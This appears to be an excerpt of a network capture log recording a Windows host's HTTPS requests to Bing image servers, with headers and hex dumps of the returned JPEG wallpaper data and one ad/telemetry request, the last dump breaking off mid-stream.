2024-11-28 16:24:20 UTC	1505	OUT	Data Raw: 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 54 49 44 3d 31 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 36 31 35 36 30 39 26 42 49 44 3d 31 31 35 31 33 37 36 33 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 55 26 54 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 52 45 51 41 53 49 44 3d 35 45 36 46 44 41 35 32 31 43 37 44 34 41 39 34 41 41 33 41 35 42 44 33 38 31 30 38 38 46 43 41 26 41 53 49 44 3d 36 62 39 37 31 39 66 33 38 64 39 64 34 61 31 37 39 65 64 37 36 64 61 31 31 62 33 65 32 65 65 66 26 54 49 4d 45 3d 32 30 32 34 31 31 32 38 54 31 36 32 34 31 31 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 34 31 31 32 38 54 31 36 32 34 30 38 26 4d 41 5f 53 63 6f 72 65 3d 30 26 26 44 53 5f 45 56 54 49 44 3d 35 45 36 46 44 41 35 32 Data Ascii: PID=426081542&TID=1&CID=128000000001615609&BID=115137631&PG=PC000P0FR5.0000000IRU&TPID=426081542&REQASID=5E6FDA521C7D4A94AA3A5BD381088FCA&ASID=6b9719f38d9d4a179ed76da11b3e2eef&TIME=20241128T162411Z&SLOT=1&REQT=20241128T162408&MA_Score=0&&DS_EVTID=5E6FDA52
2024-11-28 16:24:20 UTC	394	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:19 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49729	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:20 UTC	375	OUT	GET /th?id=OADD2.10239395842702_1W3EQU76TTF3XSELQ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 16:24:20 UTC	863	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 541256 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5FD1ECF68DFC49419D2A74CCF407941A Ref B: EWR311000101025 Ref C: 2024-11-28T16:24:20Z Date: Thu, 28 Nov 2024 16:24:20 GMT Connection: close
2024-11-28 16:24:20 UTC	3691	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 18 3e 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 37 3a 32 39 20 30 38 3a 34 35 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``>ExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:07:29 08:45:188
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: ed f4 d9 fe 0f f9 a5 8f 95 46 3f d8 32 2f 70 2d cb c7 b8 b4 30 9d c5 cc b3 f4 8c d3 4d de d6 7f c2 7e 8f f4 29 f1 99 8c a3 55 a7 fd d3 14 b0 f1 40 82 48 07 77 62 fc c3 87 61 c7 af 6d f7 bc ed 60 6b bd 36 38 ff 00 e1 9b 83 5b fd 8f a6 ab e7 f5 3c cc 7b 7d 07 63 d8 eb 3d a6 58 77 37 71 d5 ba 56 db bf ad f4 ab 55 2d c7 6e 4e 4d 37 b8 07 18 9b 44 b8 35 8d 9f 56 31 da f7 7a d5 6c 9f a7 fb ff 00 e9 15 e6 52 31 ff 00 a2 fa 54 31 cc 2f f6 b8 07 7d 26 fb 37 7e 8f db b7 7d 7b f7 bd ff 00 f6 e2 32 c9 92 47 e6 31 fe ee 9b 2d 18 61 11 b5 8d 85 fa b7 f0 68 57 4f 52 cb d1 98 6f a5 ae 7b 98 cb 2d 26 a0 c0 f3 ea 5a 6c d5 8e 7f f5 eb ff 00 31 59 e9 fd 39 de bd af c8 8a 58 23 d3 b6 b7 0b 2c ac b0 bd ac fd 05 a6 d6 ba bb 1c ef ce 76 fa bf 9c 56 6a bd f7 fd a1 95 df bd b9 4c Data Ascii: F?2/p-0M~)U@Hwbam`k68[<{}c=Xw7qVU-nNM7D5V1zlR1T1/}&7~}{2G1-ahWORo{-&Zl1Y9X#,vVjL
2024-11-28 16:24:20 UTC	3970	IN	Data Raw: b3 46 8b e5 ff 00 1d 6d 13 8a 4f dd 68 a7 20 fd e5 35 8d 4b 70 8a 0f cb 51 57 54 55 d1 e7 c9 35 26 81 69 56 92 9c ad 8a a2 44 c5 18 a7 67 f7 74 95 20 2a 9a 33 ba 4a 5e 69 b4 ac 0a 4c 9a 39 36 47 f2 fd ea 85 bf d6 52 66 95 86 df bd 49 46 c5 73 36 92 06 3f f7 d5 35 8e da 28 61 57 ca 84 14 37 fb 34 da 29 f2 80 53 94 d3 54 d3 a8 01 ca 69 f1 8f dd ee a8 b7 7b d1 b9 aa 79 46 a5 dc 9a 4f f6 7e 6a 7c 32 2f 91 b5 be 66 aa f9 a3 35 0e 37 2b da 34 db 45 d8 ee 36 c8 ed ff 00 01 a7 ac aa b1 ff 00 bc f5 42 46 df f3 50 a7 12 6e a8 74 4d 96 26 4b 43 69 a5 55 b1 db fc 4d 59 f9 6f 33 77 dd 56 aa cc 59 be 56 a5 dc df 76 a2 34 79 6e 69 57 17 ed 6d 75 b1 71 7f e7 a7 99 f3 35 58 8f ca 78 f7 2d 65 ef ab 50 cf b6 3f 97 ef 2d 4c a9 b3 4a 18 98 ec f6 16 6d de 5e d5 fb ad 4b 0c 4b Data Ascii: FmOh 5KpQWTU5&iVDgt *3J^iL96GRfIFs6?5(aW74)STi{yFO~j\|2/f57+4E6BFPntM&KCiUMYo3wVYVv4yniWmuq5Xx-eP?-LJm^KK
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: a8 59 77 56 b1 d0 ca 48 83 ad 37 ca 66 8f e5 ab 4b 1d 11 fc bf 7a ab 9b b0 b9 4a bf 66 6f 2f ee 52 79 55 71 ae 16 ab b4 9b aa 94 a4 26 a2 24 30 7f 13 53 7c 8d b2 53 64 95 97 ee c9 4d 6b 9f ef 53 e5 93 64 f3 45 16 19 d5 7e ed 53 99 fe 7f f6 68 92 4d d5 06 fd d5 70 8b dc ce 52 4c 5f 97 ef 35 24 8f bb ee d1 9a 46 0c d5 a2 8f 72 2f 71 ac 8c d4 c6 81 ea 65 3f de a7 b6 ca 2f 60 e5 52 29 f9 74 c6 b7 dd f7 6a e6 c5 6a 15 36 fc b5 5e d1 8b 91 15 a3 b7 55 fb d4 7d 9d 6a d6 cf dd d0 a2 a3 9e 45 f2 46 c5 36 8e a1 92 d3 75 6a 48 9b 69 9b 15 aa e3 59 91 2a 29 b3 31 ad 2a 36 b7 db 5a 52 6d 5f bb 51 30 cd 6e a6 ce 77 4a 37 28 f9 54 8b 05 5c 64 6a 6b 47 ba af 98 cd d3 2b 6c f9 29 23 18 93 6d 4e a9 fd ea 5d 9f dd a3 98 5c 9d 88 94 7f 76 97 6f b5 59 8e de 57 92 a7 5b 35 5f Data Ascii: YwVH7fKzJfo/RyUq&$0S\|SdMkSdE~ShMpRL_5$Fr/qe?/`R)tjj6^U}jEF6ujHiY)16ZRm_Q0nwJ7(T\djkG+l)#mN]\voYW[5_
2024-11-28 16:24:20 UTC	8192	IN	Data Raw: 31 68 a2 8a 00 29 1a 9c d4 bc d0 03 68 51 4e e6 93 1f bb a0 57 12 8a 55 14 ec 50 17 23 c5 2d 3b 9a 28 0b 8d a5 c5 3b 14 94 08 66 29 fc d2 e2 85 19 a0 1b 12 97 14 b4 52 b0 ae 35 45 3a 9d 4d db ed 48 42 62 93 1b a9 db 7d a8 aa 1d c3 6f b5 36 9d 46 37 54 80 da 5d b4 fa 28 0b 8d db ed 45 3a 8a a1 5c 6d 26 29 d8 a5 db 40 0c c5 18 a7 d2 e2 81 5c 66 df 6a 5c 53 b1 46 28 0b 8c db ed 46 df 6a 97 14 dc 50 17 10 0a 46 a7 a8 a5 c5 01 71 39 a3 9a 38 a2 81 09 8a 72 d2 ed f6 a3 6f b5 00 1b 7d a9 18 0a 76 29 69 5c 57 1b b7 da 93 14 ec 51 8a 41 71 36 fb 52 62 9d 8a 31 54 17 13 6f b5 3a 9d cd 26 28 10 94 ee 68 e6 8a 4c 04 c5 18 a7 2d 18 a4 48 62 8c 52 ad 2e 28 15 c6 e2 8c 53 b1 4a a2 80 b8 dd b4 6d a7 a8 dd 46 28 0b b2 2d b8 fb b4 ed be d4 fc 52 a8 a5 71 73 11 ed f6 a4 c5 Data Ascii: 1h)hQNWUP#-;(;f)R5E:MHBb}o6F7T](E:\m&)@\fj\SF(FjPFq98ro}v)i\WQAq6Rb1To:&(hL-HbR.(SJmF(-Rqs
2024-11-28 16:24:21 UTC	8192	IN	Data Raw: 97 e5 5a ab 71 6f b7 e5 ad b6 b7 db 55 ef 04 5e 66 ef e2 ad 14 da 21 c4 c0 fb 3f ef 3e 6a 65 c5 bf f7 6b 62 48 d5 a3 f9 6a b7 91 fb cd bf 7a b5 8c 99 9d 91 8d 24 1b 6a 09 23 fd e5 6e 4d 6f bb e5 a8 64 b7 db 5a 22 2e 64 cd 07 ee ea 06 87 6f de ad 9b 84 5f 2e aa cd 1e ea cf 99 9a ab 33 2a 64 55 aa d3 7c df 76 b5 2e 22 fb f5 4d ad ff 00 bd 5a c2 5d c8 94 74 d0 cf 61 b6 a3 85 db f8 ab 43 c8 a4 fb 36 d8 f6 d6 f1 91 84 9a b9 53 2a ff 00 2d 27 95 57 16 dd 56 a6 58 d5 a3 aa 8e 88 89 6a 64 4d 13 53 63 46 ad 69 a0 5a ab e4 6d 92 b6 8c ac 63 25 72 28 c3 7f 15 4d 18 7f e1 a6 6c 6f bd 47 99 b6 b6 8c ae 61 28 b4 59 c7 f0 b5 4b 19 db 55 e3 97 f8 6a cd b8 56 aa 4c ca 51 b9 2a 8d d4 63 6f de a5 86 9f 8d d5 b2 93 30 e5 44 2c 29 9b 2a 7e 69 98 ab e6 32 71 d4 8b 65 46 c3 6d Data Ascii: ZqoU^f!?>jekbHjz$j#nModZ".do_.3dU\|v."MZ]taC6S-'WVXjdMScFiZmc%r(MloGa(YKUjVLQco0D,)~i2qeFm
2024-11-28 16:24:21 UTC	8192	IN	Data Raw: bf f0 d6 a3 45 51 34 6c 29 47 42 f9 b5 b9 8d 25 bb 7d da 82 6b 3d d2 7f b5 5b bf 67 a6 b5 bd 38 c5 a6 12 a8 ac 61 b5 bb 2d 0b 0e ea da 6b 6f f8 0a d4 7f 65 ad e3 78 98 3e 56 65 c3 16 d9 2a da c5 fb ba 99 6d ea 5f 27 6f dd ae a8 54 b1 c7 56 9a 91 45 a2 a6 79 3e d5 a3 e4 51 e5 d6 be d0 e6 f6 26 6b 41 fc 2d 43 40 d5 79 a2 a8 d8 32 c9 fe ae 8f 6c c1 61 d3 57 45 3f 23 77 cd 4e 58 d5 7e ec 75 3c 9f ec c7 51 63 fb d5 8d 5a 8e 4b 7d 0e 8a 34 63 17 7b 10 48 9f c2 b5 5a 41 b6 af b7 cd 51 30 5a c2 27 5c a5 a1 45 a3 a8 64 8a b4 19 16 8f 29 5b e6 5a d9 79 18 4a a7 f3 19 ab 03 79 94 f5 89 bf e7 9d 5f f2 bf 77 ba 9c a9 5d 10 7a 6a 71 d5 7a dd 14 3c 87 a7 c6 bb 6a e3 45 ba 95 60 5a d9 79 1c fc cb a9 4f 66 ef 9a 99 24 7b 6a f3 45 4d 68 36 fd ea 1f 70 84 ba 14 5a 2d d4 e5 Data Ascii: EQ4l)GB%}k=[g8a-koex>Ve*m_'oTVEy>Q&kA-C@y2laWE?#wNX~u<QcZK}4c{HZAQ0Z'\Ed)[ZyJy_w]zjqz<jE`ZyOf${jEMh6pZ-
2024-11-28 16:24:21 UTC	8192	IN	Data Raw: 46 b7 fb 3d 92 7c ad fc 75 c2 df 5e 4e f1 ee 69 f6 ad 59 f0 fe af 6d 04 6e b7 17 7f 2f cb b3 7f f0 57 d1 e0 28 46 33 53 71 5f 23 c6 c7 37 c8 e3 19 3f 99 b7 e5 37 ad 27 97 4e b7 b9 b6 b8 ff 00 8f 79 e3 97 77 f7 1e a7 f2 e5 fe e5 7b dc fe 67 cf 38 f9 15 bc ba 6c 91 d5 a5 82 5f f9 e7 49 e5 49 ff 00 3c e9 f3 f9 8b 91 95 15 28 f2 cd 5a f2 5e 8f 29 bf b9 55 cc 1c 8c aa d0 33 53 7e cf 57 7c 86 a3 c8 6a 5e d0 39 0a 1e 4a 50 d1 aa d5 f5 b6 dd f7 a8 6b 35 a7 ed 17 70 f6 6f b1 43 cb a3 cb ab cb 69 12 ff 00 cb 49 29 7e cf 17 f0 f9 94 7b 51 7b 36 66 79 7b a9 56 35 ad 2f 26 3a 5f 2a 0f e2 a3 da 87 b2 32 66 83 77 dd 8e a1 fb 33 34 9f ea f6 56 db 45 17 f0 d3 3c 94 aa 55 89 f6 46 0c d6 99 fb d4 c8 60 fb f5 d0 34 0b fc 55 17 91 12 d5 fb 62 1d 13 17 c8 54 a6 c9 6e ad 5b 12 Data Ascii: F=\|u^NiYmn/W(F3Sq_#7?7'Nyw{g8l_II<(Z^)U3S~W\|j^9JPk5poCiI)~{Q{6fy{V5/&:_*2fw34VE<UF`4UbTn[
2024-11-28 16:24:21 UTC	8192	IN	Data Raw: 20 f2 fe 6a a9 97 a3 7b 52 e7 1d 8b 3e 64 0b 1f cb 25 57 5d 42 25 9f cb f3 23 dd 4d de cd 51 48 8a df 37 97 50 e6 fa 30 d8 d1 5b 9d d1 ff 00 cb 3a a3 71 71 3a 7c b0 c7 1f df a8 fc b5 fb cd 1e d6 a1 8a a4 74 4a 4d a0 4e c7 2f 1c 9b be 28 42 b2 49 07 99 f6 46 f9 f7 fe f7 6b 5c 27 f0 ff 00 73 b5 77 4d 22 af dd 92 3f f8 05 79 04 9e 24 b1 1f b4 42 69 be 5c 6a bf 64 68 3e d1 e7 ff 00 cb 4e 0e 31 b7 db 6e dc fd ee fd ab d4 54 56 74 f4 bd ca 9c 9b b6 85 96 9f 6f dd a4 fb 55 57 a6 d6 9c c8 ce e5 8f b5 49 43 5d cb ff 00 3d 2a 16 a6 d1 cc 2d 49 9a e2 56 fb d2 52 79 8f 4c a7 51 cc 85 ef 0b bd a9 55 da 9b 4b 9d b1 bc 9f dd 4d d5 32 aa a2 9b 6f 44 38 c6 4d db a8 fd d4 aa df bb 69 1b e4 55 fe 37 ac 3b af 12 d8 c5 6b e6 47 f3 48 df c0 ff 00 c1 59 96 3a 87 db 67 4f b6 49 Data Ascii: j{R>d%W]B%#MQH7P0[:qq:\|tJMN/(BIFk\'swM"?y$Bi\jdh>N1nTVtoUWIC]=*-IVRyLQUKM2oD8MiU7;kGHY:gOI
2024-11-28 16:24:21 UTC	8192	IN	Data Raw: 4e 71 b3 30 ab 52 a4 1d d3 67 79 e1 fd 6a 41 34 4d bf f7 8b ff 00 a0 d7 4d e1 fd 76 5b ab e7 b7 b8 82 35 56 76 f9 d3 e5 af 11 ba b8 d4 2d e7 f3 16 49 16 b5 f4 ff 00 10 de 34 88 cd f3 32 d6 75 b2 98 49 39 d3 b5 d8 e9 e6 12 4d 42 77 d0 f5 ad 5b 47 8a 79 1d bf 8b ef 6f 7a e3 ef b4 f8 20 ba 79 23 8f 6b 7f 1a 7f 0b d2 d9 f8 c3 50 96 38 63 b8 fb bf 77 ce fe 2f c6 a4 f1 36 a1 04 b2 79 d6 b1 ed 5d 9f f8 f5 71 61 f0 d5 e8 cf 96 7a a7 d8 e8 ab 5a 94 e2 dc 77 46 4e a9 12 bf ef 23 8f e6 ac bb e8 a5 78 f6 ac 7f 35 12 5e 32 4f ba 69 24 db 51 b4 f2 cb f3 5b c9 bb 6d 7b 94 68 b8 d8 f2 ea 54 4e e8 cc 6b 3b e6 93 6a c7 52 c3 6d 78 b2 6d f2 e4 ad 4b 3b 8b c5 f9 9a 0a d7 b3 96 59 63 db 24 7f c1 5b ba 92 8f 44 60 a1 19 75 66 46 97 05 d7 de f2 e4 dd 5e 49 e2 6f 18 5c f8 8e f9 Data Ascii: Nq0RgyjA4MMv[5Vv-I42uI9MBw[Gyoz y#kP8cw/6y]qazZwFN#x5^2Oi$Q[m{hTNk;jRmxmK;Yc$[D`ufF^Io\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49731	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:20 UTC	375	OUT	GET /th?id=OADD2.10239340418606_136U7G6Z7CWHAJN4L&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 16:24:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 617294 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0EE398B9321A42C59A51AED42E29EEDA Ref B: EWR30EDGE1113 Ref C: 2024-11-28T16:24:20Z Date: Thu, 28 Nov 2024 16:24:19 GMT Connection: close
2024-11-28 16:24:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 30 3a 35 39 3a 33 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 00:59:328C
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: 97 e5 57 5f 59 07 f0 b7 fb bc 57 bf 84 cd 23 53 dd a9 a3 3e 77 19 95 ce 8f bd 4f 58 fe 27 a8 d1 4e c7 fe 3d f3 52 62 bd 73 c9 1b 8a 46 14 ed be d4 6d f6 a0 08 e9 b4 f6 14 95 68 91 b4 6d f6 a7 e2 8c 51 70 1b 8a 4d be d4 fc 51 8a 2e 03 36 fb 52 e2 9d 8a 31 45 c0 6e 29 69 71 46 28 b8 0d c5 18 a5 a5 c5 30 1b 8a 31 4f a4 c5 2b 8a c2 51 45 2e 28 b8 8f 15 c5 18 a7 a8 a2 bd 92 46 ed f6 a3 6f b5 3f 14 62 9d c0 6e 28 c5 3d 45 2e 28 b8 0d c5 18 a7 62 97 6f b5 32 46 62 9d 8a 5d be d4 b8 a0 04 c7 b5 18 f6 a7 62 97 15 42 b0 cc 7b 52 e0 fa 53 f6 d1 b6 81 11 ed f6 a3 6f b5 49 b6 93 15 40 33 6f b5 1b 7d a9 f8 a3 14 12 33 6f b5 3b 14 fc 51 8a 77 01 98 a3 14 fc 51 8a 2e 03 31 46 2a 4d be d4 6d f6 a2 e0 47 8a 5c 53 f6 fb 51 b7 da 98 0c c5 18 a9 71 46 28 15 88 b1 46 2a 4c 51 Data Ascii: W_YW#S>wOX'N=RbsFmhmQpMQ.6R1En)iqF(01O+QE.(Fo?bn(=E.(bo2Fb]bB{RSoI@3o}3o;QwQ.1FMmG\SQqF(FLQ
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: 0a 8f cf 47 b5 4b 78 64 9d a6 f9 62 87 7a 7c ae de ac 69 fb d7 17 ba 86 e9 f1 db 41 fb b9 bc c5 93 ce dc 90 ec fb 94 b3 09 7e d5 33 34 17 5e 4e c5 d8 9b d7 ef 77 e7 35 a5 1e 9d 05 95 8b dc 6a 16 10 4a b1 7f 1f 9e df fb 35 50 86 c3 74 ef 24 91 ed 56 76 64 4d ff 00 72 af 94 85 22 8d ab d9 cf 23 c3 34 12 79 76 ae bf b9 7f 9b e6 db fe cd 3b 52 1a 7b 41 e5 db c1 b1 9b e5 d9 e4 2f e7 51 df 24 f6 48 b2 2f cd 1a fd ff 00 de 6d fe 2e b5 33 68 8a a8 f2 4d 1e ef e2 4d 9f de ac f7 66 96 b1 7b 4f bc f2 2d 56 1f b0 7d d4 ff 00 80 d2 49 a9 c5 2f 9d 1b 58 6e db f7 d3 e5 f9 ea 84 36 0c fa 6f f6 92 c7 ba 3f ee 7d d5 e3 b5 39 66 6f 21 e4 6b 48 fc bf 97 e7 85 d7 ee fe 34 9a b8 e2 fa 15 ef af ed bc bf f4 58 23 b7 66 db f7 1d 57 f3 c5 49 1e a1 6d e6 6d fb 3e d9 1b f8 36 35 55 Data Ascii: GKxdbz\|iA~34^Nw5jJ5Pt$VvdMr"#4yv;R{A/Q$H/m.3hMMf{O-V}I/Xn6o?}9fo!kH4X#fWImm>65U
2024-11-28 16:24:21 UTC	16384	IN	Data Raw: d2 ee 35 eb fd 55 e3 d6 a7 d2 a5 9a df 77 da 2d ef a0 66 6d a6 3d bf c7 f7 d7 6f 4f 4e d5 95 0f 84 f5 76 d0 df 4b d2 e3 9f 54 f2 b7 5c a5 8c 2e b2 ec 50 bf bc 97 cb c7 cf 94 e3 e5 39 ad 7f 0f c9 04 51 d8 cc ba 14 fa 95 8d c6 d6 9a 1b 8b 5f 3f 62 9f ee e4 e7 81 fd da ca fc a8 b9 7b c6 c7 8f ae 3c 33 67 24 3e 19 9b c1 71 ff 00 c2 41 2a 43 73 69 71 a3 3e d6 b6 8c fc ca 3c c6 23 e6 65 fe 13 f7 7a d7 2f 36 be b6 16 ff 00 6c 5d 36 36 ba b8 99 60 bb 7b b8 1a 2b ad bb be 69 65 2a a5 5d 43 7c 87 f8 be ed 5b 87 42 f0 f6 b3 f0 f7 58 f1 65 c6 ad 26 93 75 6f 70 cd 17 cf e6 ef 50 d8 5c 46 dc ed ec 7b a7 b8 a8 34 79 22 b7 f0 e2 48 ba ec f7 f6 f1 6e fb 43 fd 8a 6f df 37 98 85 73 b3 f8 77 72 a4 8f 99 7a d6 55 19 70 89 dc 4c f7 d3 f8 72 d2 1b 58 20 f3 2e 1d 96 18 5e 49 37 Data Ascii: 5Uw-fm=oONvKT\.P9Q_?b{<3g$>qACsiq><#ez/6l]66`{+ie]C\|[BXe&uopP\F{4y"HnCo7swrzUpLrX .^I7
2024-11-28 16:24:21 UTC	16384	IN	Data Raw: e9 ae 78 21 45 14 51 71 58 28 a2 97 14 5c 2c 37 14 92 15 8e 37 92 49 23 8a 34 46 67 77 fb a8 a3 a9 34 ea f1 9f da 8b c7 ff 00 65 81 fc 07 a3 c9 1f db 2e 91 7f b5 26 7f f9 63 19 f9 96 31 fe d1 ef ed 59 62 2b aa 30 72 65 d0 a3 2a b3 51 47 05 fb 46 7c 43 8b c6 1e 20 4d 3f 45 9e 7f ec 5b 04 6f b3 be cd bf 69 93 fe 5a 49 b7 f4 1e d5 e7 0c 91 3c 08 b0 c7 3f cc 9e 57 df f9 9e 8b a3 be ed 24 8e 7f de 7d dd fb 37 2d 57 93 6f 9f 0b 79 f3 ab 6f da fb 1f e5 4f c3 d4 d7 c9 d6 ab 2a 92 72 93 d5 9f 55 42 9a a5 1e 48 ec 2a f9 b1 4e fb a7 8f 6e cd a9 bd fe 5f f7 71 52 e8 f0 5f 5c 09 ad e1 92 05 5f 3b e4 df ed f7 9a a9 c3 1d cc bb e1 92 49 37 2b b7 cf e4 7d cf ce ad 42 24 96 4d d7 0f 1c 4d 07 ca 8f b3 ef d6 11 49 ea 6d 2b c7 42 4d 42 dd a0 df 1a c9 e6 aa ff 00 cb 64 4d cd Data Ascii: x!EQqX(\,77I#4Fgw4e.&c1Yb+0reQGF\|C M?E[oiZI<?W$}7-WoyoOrUBH*Nn_qR_\_;I7+}B$MMIm+BMBdM
2024-11-28 16:24:21 UTC	16384	IN	Data Raw: ff 00 dd 5a a3 a8 6a 7b 7c ef 32 39 ee 26 64 db bf 7f dc fa 57 48 1a ba 90 b3 fb 53 db dc 5c 7e e6 0d bf 23 be d5 7c f4 dc 3d aa ae a1 71 63 71 1f d9 2c 67 db 27 f7 e1 4f b8 bf 5a cf 61 2d e6 cf f4 4f 2a 35 4f 93 62 7c df 9f 5a 96 38 d6 cd d3 74 9f 32 a3 2a 54 a0 34 6c c5 ad ac 7f 65 b5 8f e5 8b f8 29 b1 cb 14 51 cc d3 41 bb cd 7f 91 37 fd ca a1 6a eb f3 c9 e6 7f bf f7 aa 75 91 be f3 5d fc cb fe a7 7f fe 85 5a 6e 26 58 b7 d3 25 b7 ba fb 62 cf 26 e5 fe 07 f9 ba f6 a7 dc 5c cf 14 7b a6 f3 36 ff 00 b1 fd 2a a4 d3 ce b1 ed 8e 7f 37 73 fd c4 7a 48 60 95 64 7d d3 c7 b5 7f 81 3e f5 3d 82 e5 cc 4e d2 6d 9a 79 19 6a bc d6 ea d2 24 6b 24 9b 7f b9 bf 75 32 6b 89 d2 7d b0 ec ff 00 6f e4 fb ed 4d b8 b8 97 fe 79 ef db fe ef de a5 74 20 58 d5 26 4d df 2a aa 54 97 45 5a Data Ascii: Zj{\|29&dWHS\~#\|=qcq,g'OZa-O5Ob\|Z8t2T4le)QA7ju]Zn&X%b&\{67szH`d}>=Nmyj$k$u2k}oMyt X&MTEZ
2024-11-28 16:24:21 UTC	16384	IN	Data Raw: b5 7c cf fc 4d b5 7e ee d0 df 2f e5 51 25 67 a1 49 be e6 d6 a1 f6 39 e0 d3 f5 49 a0 8e ea ce e9 15 92 e2 d2 75 ba d8 c5 b6 f3 1b 0d fb bd 72 2b 2b 56 82 5b 7b 58 6f 97 4d b1 5b ed 35 e4 fb 5f d9 3c b8 3e d3 68 8c 37 ab 60 61 58 f6 3f 79 5b eb 58 da a7 84 34 ad 22 0f b4 4d 24 ed 6e b3 2b 3d ba 4e d0 32 2b ae 56 7f 30 ae 70 bb 79 47 1f 8d 6b 5c 69 56 37 fe 1c d4 e3 d9 3d c6 e8 7c 8b 7d 47 fb 61 62 8a e5 8e 26 45 e5 71 86 5e b9 a9 d1 2b 07 33 6e ec ed 26 d4 e2 d5 bc 39 77 0c 7a 14 16 f6 f7 8f b9 ed ae 35 4d bb 1b 76 7e 5f 93 e5 c3 ed da 7b 1f 6a c0 d2 ef 67 8b 52 7f 0f ea 9e 7d bd e4 